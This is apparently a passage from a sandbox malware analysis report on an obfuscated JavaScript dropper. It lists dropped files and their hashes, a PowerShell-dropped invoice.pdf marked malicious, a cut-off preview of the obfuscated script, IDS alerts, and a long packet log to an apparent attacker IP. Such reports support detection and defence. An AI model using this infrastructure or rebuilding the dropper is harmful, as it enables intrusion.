Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f6ff6352-aa3b-438f-947b-e30167f564ae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16155), with CRLF line terminators
Entropy (8bit):	4.914624071703528
TrID:
File name:	146362284148625748.js
File size:	19'544 bytes
MD5:	90eea37ca330bbba48ce99fc1178665d
SHA1:	f1684ff9c53271813f06df4691615c155f1709db
SHA256:	f61fe8ac85b40d4cc559c97d09bf83629908b9c5e3b713d130e18cadb6b29d4a
SHA512:	577ba845b2c18f0ddd48aad62433699dcf92bb780757ef1285ca6513d6fbaaa7cb0d1698742823a5725c009f9599c1c978b5efebe326203781b1ebfa22921ed9
SSDEEP:	192:5MGTqffRCeAgGZPAyaR3CQAhRKnQRMgcSNUFDIYIWwfEwV+BVACUONID3u/5fzfY:y6CzAtRMrIYIWwNCUVwOewbDZ/YI
TLSH:	55922334C9CADB92FFCC8450B74746A951BC42EE4DEAC5DB82D120C58B991B861F6FB0
File Content Preview:	function hntgqxn(){hgqrw=[1031,3079,5127,4103,2055,3072];var rovrnktk=this[ljdfvg+igtzzbjr+tyixrxcd+chawy+ulpdtt+misja+npxryjlp+bdidc](this[onlxc+vfzniaokr+sylrf+tyixrxcd+bzfbiglya+ljdfvg+bdidc][vahyj+tyixrxcd+ulpdtt+igtzzbjr+bdidc+ulpdtt+xhjup+iqkwvhkh+v

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:01:37.097139+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T22:01:39.519966+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:01:36.285685062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:36.290571928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:36.290673018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:36.294090033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:36.298908949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.096965075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097002983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097013950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097026110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097115993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097127914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097138882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.097138882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.097142935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097162008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097183943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097196102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.097225904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.097225904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.097258091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.102015972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.102030993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.102313042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.137518883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.137531042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.137679100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.221640110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221661091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221673965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221786022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.221868038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221879959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221893072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221904993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221920967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.221925974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.221963882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.221996069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.222625017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.222678900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.222690105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.222702026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.222748041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.222779989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.223285913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.223407984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.223419905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.223432064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.223444939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.223496914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.223551989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.224195957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.224208117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.224221945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.224236012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.224256992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.224277020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.272895098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.272927046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.272938013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.273204088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.312885046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.312905073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.313031912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.362138987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362160921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362178087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362185955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362200022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362214088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362230062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362291098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.362291098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.362392902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362509012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362521887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362535000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362549067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362561941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362576008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.362587929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.362587929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.362587929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.362749100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.363399982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363411903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363425016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363445044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363459110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363471031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363480091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.363480091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.363485098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.363800049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.364348888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364362955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364377022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364387989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364392996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.364402056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364414930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364427090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.364474058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.364474058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.364474058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.365041018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365092993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365106106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365161896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365174055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365186930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365195036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.365195036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.365201950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.365677118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.366007090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366029024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366043091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366050959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.366056919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366430998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366444111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366456985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366466999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.366466999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.366470098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366482019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.366652012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.366652012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.386348009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.386418104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.386529922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.402427912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.402446032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.402457952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.402585983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.436762094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.436778069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.436937094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.470560074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470582008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470596075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470675945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470742941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470756054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470768929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470781088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.470796108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.470796108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.470796108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.470822096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.470941067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471009970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471024036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471036911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471052885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471093893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471163034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471230030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471271038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471302032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471309900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471328974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471343040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471357107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471393108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471787930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471800089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471812963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471824884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471837044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471848965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471858025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471864939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471877098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471889019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471889973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.471916914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.471916914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472287893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472300053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472307920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472318888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472333908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472361088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472361088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472394943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472687960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472700119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472712994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472724915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472745895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472747087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472757101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472770929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472784042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472795963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472809076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472821951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472836971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472839117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472839117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472839117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472851038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.472887993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.472887993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.473604918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473618031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473664045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473678112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473695993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473709106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473717928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.473717928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.473740101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.473754883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473777056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473788977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473800898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473802090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.473808050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.473896027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.473896027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.476739883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.476759911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.476771116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.476807117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.478261948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.490797997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.492927074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.492942095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.492955923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.492968082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.492980003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.492985010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.493032932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.503343105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.527179956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.527198076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.527209997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.527224064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.527342081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.527342081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561055899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561093092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561105967 CET	80	49705	193.143.1.205	192.168.2.8
